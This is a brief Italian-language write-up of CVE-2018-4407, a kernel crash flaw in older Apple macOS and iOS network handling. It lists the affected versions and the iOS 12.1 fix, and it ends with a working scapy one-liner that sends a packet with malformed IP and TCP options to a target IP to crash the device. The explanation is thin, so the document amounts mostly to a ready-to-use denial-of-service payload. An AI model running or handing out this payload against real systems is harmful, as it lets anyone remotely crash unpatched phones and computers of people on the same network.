
CVE-2018-4407 Panoramica e implementazione
Il principio è rendere illegittimi altri campi del pacchetto "icmp", causando un crash quando il kernel macOS o iPhone non implementa il controllo delle dimensioni durante l'analisi.
Apple iOS 11 e versioni precedenti: tutti i dispositivi
Apple macOS High Sierra (versione massima interessata 10.13.6): tutti i dispositivi
Apple macOS Sierra (versione massima interessata 10.12.6): tutti i dispositivi
Apple OS X El Capitan e versioni precedenti: tutti i dispositivi
Apple ha risolto completamente questa vulnerabilità nell'aggiornamento "iOS 12.1" rilasciato il 30 ottobre.
pip install scapy
sudo scapy send(IP(dst="Target IP",options=[IPOption("A"*8)])/TCP(dport=2323,options=[(19, "1"*18),(19, "2"*18)]))